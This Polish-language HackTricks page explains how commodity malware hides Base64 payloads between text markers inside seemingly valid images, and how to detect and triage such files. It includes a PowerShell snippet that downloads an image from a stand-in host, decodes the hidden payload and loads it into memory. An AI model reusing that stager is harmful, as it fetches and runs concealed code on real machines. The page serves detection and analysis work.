Malware & Network Stego

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Nie cała steganografia opiera się na pixel LSB; commodity malware często ukrywa payloads wewnątrz pozornie prawidłowych plików.

Praktyczne wzorce

Payloads oddzielone markerami w prawidłowych obrazach

Jeśli obraz jest pobierany i natychmiast parsowany jako tekst/Base64 przez skrypt, payload często jest oddzielony markerami, a nie ukrywany na poziomie pikseli.

Commodity loaders coraz częściej ukrywają Base64 payloads jako tekst jawny wewnątrz pozornie prawidłowych obrazów (często GIF/PNG). Zamiast LSB na poziomie pikseli, payload jest oddzielony unikalnymi ciągami markerów osadzonymi w tekście/metadanych pliku. Stager następnie:

  • Pobiera obraz przez HTTP(S)
  • Lokalizuje markery startu/końca
  • Wydobywa tekst pomiędzy markerami i dekoduje go z Base64
  • Ładuje/wykonuje w pamięci

Minimal PowerShell carving snippet:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Notatki:

  • ATT&CK: T1027.003 (steganography)
  • Wykrywanie/polowanie:
  • Skanuj pobrane obrazy w poszukiwaniu sekwencji ograniczających.
  • Oznacz skrypty, które pobierają obrazy i od razu wywołują rutyny dekodujące Base64 (PowerShell FromBase64String, JS atob, itd.).
  • Szukaj niezgodności content-type w HTTP (image/* response, ale body zawiera długi ASCII/Base64).

Inne miejsca o silnym sygnale, gdzie ukryć payloady

These are typically faster to check than content-level pixel stego:

  • Metadane: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • Bajty końcowe: dane dołączone po formalnym znaczniku końca (np. po PNG IEND).
  • Osadzone archiwa: ZIP/7z osadzone lub dołączone i rozpakowywane przez loader.
  • Polyglots: pliki stworzone tak, aby były poprawne dla wielu parserów (np. image + script + archive).

Polecenia triage

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Źródła:

  • Unit 42 — przykład: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • Poligloty formatów plików i triki kontenerowe: https://github.com/corkami/docs
  • Aperi’Solve (webowy triage steganografii): https://aperisolve.com/

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks